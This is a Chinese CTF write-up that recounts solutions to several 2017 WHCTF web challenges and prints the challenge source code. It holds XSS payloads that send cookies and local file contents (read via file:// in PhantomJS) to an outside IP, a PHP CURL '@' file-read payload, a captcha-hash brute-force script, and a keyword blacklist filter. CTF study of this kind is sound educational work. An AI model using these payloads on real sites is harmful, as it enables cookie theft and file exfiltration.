[2017WHCTF] Web详细复现(伪)WP

这次Web。。。Orz真的做不出来啊!
所以大佬们一出的wp就赶紧屁颠屁颠去复现了。。。
复现完写下这些伪wp:(有些题目环境已经挂掉了没办法复现Orz)
本人菜鸡。。。Orz如有说错或者对题目理解错误请各位表哥一定要指正 感激不尽!


Router

emmm过了好久才发现漏了一题Orz。。其实这题是最有趣的 可惜了现在找不到啥截图了。。
首先题目提供了一个url和一个附件

首先进去目标网站先扫一下扫到export.php 进去之后下载得到一个settings.conf文件,打开之后没啥用 不知道是啥
然后附件 binwalk一下之后出现了一个elf文件,checksec一下

checksec

扔进gdb跑一下,在大概0x435f4c的位置程序会dump出一个settings.conf文件,然后在大概0x4013c3的位置栈中会出现账号密码

username and password

直接拿这个账号密码登上去是登不了的,所以拿我们在export.php下载到的文件替换掉,看看能不能读取到里面的账号密码

dump

结果读到了


pass

emmm我看其他大佬的wp里面密码是不一样的 估计是被搅屎改掉了 然后我上了之后也改掉了23333
之后在里面会有一个带有参数action的ajax交互,把action改成不存在的一个就能得到flag。。。Orz。。。逼死Web狗。。。

再说一个浩子哥哥发现的一个官方后门rce 详情:https://mp.weixin.qq.com/s/XBBx0rWZu9bAwt62F6Ai8g


CAT

  • 一开始以为这道题是常规的命令执行 然后简单的fuzz之后发现过滤了N多个字符,百思不得其解后主办方看不下去了,给了hint是RTFM of PHP CURL唔。。然后去看了挺久的手册。。发现还是没啥收获,然后思路就变成了用file协议去读文件 然后就跑偏了23333

  • 正确的思路应该是 将全部字符fuzz一遍 然后发现输入%FF报错,查看报错结果是Python Django,debug没关然后看到关键代码:

debug

这里有疑问就是为什么会有/api/ping的请求呢?
因为我们在题目中并没有这样的url可以访问
并且在ping函数之前是执行了14-21行的代码合并了一个上传的文件(???我们没上传文件呀)
结合之前django报错并不是html渲染后的结果 而是类似于PHP的show_source(特殊符号被转译)和hint 这里就有理由充分猜测后台运行了两个应用,一个是暴露给我们的PHP应用,一个是处理通过PHP发送的请求的Django 这里没有报Invalid Url错误是因为在正则之前有一个转码的过程 Django使用的是GBK编码,而我们发送的%FF并不在其编码表中有意义,(%F7也是)所以就会转码错误,抛出django的exception,不会进入下一步的正则。
而关键部分就是PHP是使用CURL来请求django应用API的,这里触及到了一个知识盲区Orz 就是CURLOPT_POSTFILES
官方文档描述如下:

RTFM

如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求 结合GBK的特性如果遇到编码不了就会抛出错误的特性 也就是说如果我们去请求一个内容存在GBK不能编码的序列就能通过debug页面把文件内容爆出来,通过debug页面能得到绝对路径
emm然后比较容易想到的就是database.sqlite3文件了

  • poc:


    poc

(flag在右下角)

  • payload:?url=@/opt/api/database.sqlite3

Emmmm

  • 因为题目环境挂了 先挖坑。。以后搭好环境再填
  • 大佬们的做法是从phpinfo中获取到开启了xdebug远程调试,然后Vim+DBGP+xdebug进行远程执行代码

Not only XSS

  • 简单尝试了一下直接丢js代码发现是可用请求到的
<script>window.location.href="http://139.199.206.219:2333/"+document.cookie</script>
结果

然后cookie是空的
Web服务器是PhantomJS
这个服务器有一个特点---PhantomJS是无界面浏览器(headless browser)客户端 支持file协议
所以是可以读取静态文件的
然后看到Referer很奇怪 是一个静态文件?
打开这个静态文件之后发现是我们刚才发送的内容
那这里大概能猜到bot是直接打开本地静态文件的
然后思路大概就出来了 去读源码
但是现在并不知道要读哪里的源码
扫一波(自家扫描器 https://github.com/Pr0phet/ProScanner))

扫描器

扫出来flag.php 那估计是要读这里的源码了

  • payload:
<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "file:///var/www/html/flag.php", true);xhr.onload = function() {content = btoa(xhr.responseText);window.location.href = "http://139.199.206.219:2333/wtf.php?a=" + content;};xhr.send(null);
</script>
  • poc:
poc

base64解码后即为

<?php

$flag="WHCTF{phant0mjs_c4n_open_f1les_1n_webp4ge}";
echo "Flag is here! But nobody can got it!";
?>

ps:附上自己写的爆破验证码的脚本,效率还阔以 4位数基本在10秒之内能爆破出来,5位数的话大概也是15秒-20秒左右, 当然。。全靠运气

#coding:utf8
#Author: Pr0ph3t
# import requests
import string
import random
import hashlib
import re
import sys

#用法:python 此文件 想要爆破的验证码

url = 'http://web.jarvisoj.com:32800/'

# se = requests.Session()
# res = se.get(url)
# code = re.findall('.+substr\(\$verify,0,4\) === \'(.*)\'.+',res.content)[0]
preCode = sys.argv[1]
numToCrack = 5 #爆破的位数

i = 0
while 1:
    i += 1
    print '[*] 第' + str(i) + '次碰撞'
    testStr = ''.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',numToCrack)).strip()
    testCode = hashlib.md5(testStr).hexdigest()[0:numToCrack]
    if testCode == preCode:
        print testStr
        exit()

pss:对题目比较感兴趣所以把源码也读下来了

  • index.php
<?php
include("csp.php");
include("conn.php");

session_start();
if(isset($_POST['name'])&&isset($_POST['verify'])&&isset($_POST['phone'])&&isset($_POST['secret'])&&isset($_POST['email'])){
    $name=Filter($_POST['name']);
    $verify=Filter($_POST['verify']);
    $phone=Filter($_POST['phone']);
    $email=Filter($_POST['email']);
    $secret=Filter($_POST['secret']);
    if($name===""||$verify===""||$phone===""||$secret===""||$email===""){
        die("Please Complete the form!");
    }
    else if(substr(md5($verify),0,5)!==$_SESSION['md5']){
        die("verify error!");
    }
    else{
        $id=md5($secret.time().mt_rand(1,100000));
        mysql_query("insert into $TBNAME values('".$id."','".$name."','".$email."','".$phone."','".$secret."',false);");
        die("Admin has got your secret and will read it soon.");
    }
}

?>
<!DOCTYPE HTML>
<html>
<head>
<title>Easy XSS game</title>
<link href="css/style.css" rel="stylesheet" type="text/css" media="all"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="css/font-awesome.css" rel="stylesheet">
</head>
<body>
<div class="wthree-dot">
    <h1>Tell your secret to me</h1>
    <div class="profile">
        <div class="wrap">
            <div class="contact-form">
                <form action="#" method="post">
                    <div class="w3l-contact-left">
                        <div class="styled-input agile-styled-input-top">
                            <input type="text" name="name" required="">
                            <label>Name</label>
                            <span></span>
                        </div>
                        <div class="styled-input">
                            <input type="email" name="email" required="">
                            <label>Email</label>
                            <span></span>
                        </div>
                        <div class="styled-input">
                            <input type="text" name="phone" required="">
                            <label>Phone</label>
                            <span></span>
                        </div>
                        <div class="styled-input">
                            <input type="text" name="verify" required="">
                            <label>verify</label>
                            <span></span>
                        </div>
<?php
$rand=generate_md5();
echo "<h2 style='color:#999999'>( PS :substr(md5(\$verify),0,5) === '".$rand."' )</h2>";
$_SESSION['md5']=$rand;
?>
                    </div>
                    <div class="w3l-contact-right">
                        <div class="styled-input agileits-input">
                            <textarea name="secret" required=""></textarea>
                            <label>Secret</label>
                            <span></span>
                        </div>
                        <input type="submit" value="SEND">
                    </div>
                    <div class="clear"> </div>
                </form>
            </div>
        </div>
    </div>
</div>
</body>
</html>

  • csp.php
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *;");
?>
  • conn.php
<?php
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "whctfxss";
$DBNAME = "xss";
$TBNAME = "xss";
$TBCOLUMN=Array(
    "id"=>"id",
    "name"=>"name",
    "phone"=>"phone",
    "secret"=>"secret",
    "hasread"=>"hasread",

);

function generate_md5(){
$number=mt_rand(0,1000000);
$rand=md5($number);
return substr($rand,0,5);
};

function Filter($string){
    $blacklist = "sleep|benchmark|information|order|limit|load_file|select|union|system|alter|show|outfile|dumpfile|into|execute|column|table|extractvalue|floor|update|insert|delete";
    $whitechar = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'()._*`-@=+><\"{};/: ?,";
    for ($i=0;$i<strlen($string);$i++){
        if (strpos("$whitechar",$string[$i])===false){
return "hacker!";
}
    }
    if (preg_match("/$blacklist/is",$string)){
return "hacker!";
}
    if (is_string($string)){
        return addslashes($string);
    } else {
        return "";
    }
}

$conn=mysql_connect($DBHOST,$DBUSER,$DBPASS);

mysql_query("use {$DBNAME}");
?>

这里有遇到了一个问题就是poc换行之后不奏效
不知道各位表哥会不会遇到这个情况Orz


Scanner

emmm这题环境也关掉了 无法复现。。
我一开始还天真的以为flag藏在各种各样的文件夹里面。。然后就去傻乎乎的改自己的扫描器。。。(还没改完)
但是根据表哥们的wp 思路大致是这样的:
查看到可疑请求 ----http://118.31.18.64:20008/c181948a9bdee64753468823ac57a870/github.com/getimg.php?pic=xxx.png
随后跟进测试发现此php可以实现任意文件读取
读取 /etc/passwd后发现flag用户
最后读取此用户home目录下的flag


表哥们的wp

Kap0k : http://www.kap0k.com/archives/948
浩子哥哥 : https://mp.weixin.qq.com/s/XBBx0rWZu9bAwt62F6Ai8g
并且宣传一波浩子哥哥的公众号 : HenceTech

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,132评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,802评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,566评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,858评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,867评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,695评论 1 282
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,064评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,705评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,915评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,677评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,796评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,432评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,041评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,992评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,223评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,185评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,535评论 2 343

推荐阅读更多精彩内容